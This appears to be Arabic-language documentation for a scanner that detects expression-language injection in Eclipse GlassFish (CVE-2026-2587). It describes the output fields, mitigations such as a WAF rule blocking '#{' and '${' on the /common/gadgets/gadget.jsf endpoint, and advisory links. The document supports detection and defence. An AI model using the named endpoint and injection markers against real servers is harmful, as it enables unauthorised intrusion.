vulnerable_countعدد حالات الاختبار التي أكدت تقييم EL
total_testsإجمالي حالات الاختبار المنفذة
unauth_exposedYES إذا استجاب نقطة النهاية بدون مصادقة
active_endpointعنوان URL لنقطة النهاية المستخدمة للاختبار
server_headerعنوان Server: من GlassFish
detected_versionسلسلة الإصدار إذا تم التعرف عليه
version_sourceمصدر قيمة الإصدار: header، صفحة REST/تسجيل الدخول، أو asadmin-api
version_affectedحالة الإصدار من حيث التوصيات. حالياً UNKNOWN لأن النطاقات المتأثرة/المصححة غير منشورة
admin_consolepresent, not_found, أو unknown
gadget_endpointpresent, blocked, not_found, أو unknown
proofevaluated, not_evaluated, أو not_attempted
TC-01 … TC-10نتيجة لكل اختبار: VULNERABLE / NOT_VULNERABLE / INCONCLUSIVE / SKIPPED
notesرسالة الخطأ إذا فشل المسح
الإجراءالتفاصيل
الترقيةقم بتطبيق البناء الثابت الذي ينشره البائع عند نشر Eclipse/NVD/GHSA لحد الإصدار المُصحّح
تعطيل معالج الأدواتاحظر /common/gadgets/gadget.jsf في جدار الحماية/WAF إذا لم يكن قيد الاستخدام
جدار حماية لوحة الإدارةاقتصر المنفذ 4848 على عناوين IP الموثوقة فقط
حماية CSRFتأكد من سمة ملف تعريف الارتباط SameSite في جلسات الإدارة
قاعدة WAFاحظر #{ و ${ في نصوص XML التي تصل إلى نقطة نهاية الأدوات
الموردالرابط
NVDhttps://nvd.nist.gov/vuln/detail/CVE-2026-2587
استشارة GitHub (GHSA)https://github.com/advisories/GHSA-29wv-cv7p-xjc2
تتبع CVE لـ Eclipsehttps://gitlab.eclipse.org/security/cve-assignment/-/issues/86
مصدر Eclipse GlassFishhttps://github.com/eclipse-ee4j/glassfish
CWE-917https://cwe.mitre.org/data/definitions/917.html
المُبلّغCamilo G. (DeepSecurity Perú) — @SeguridadBlanca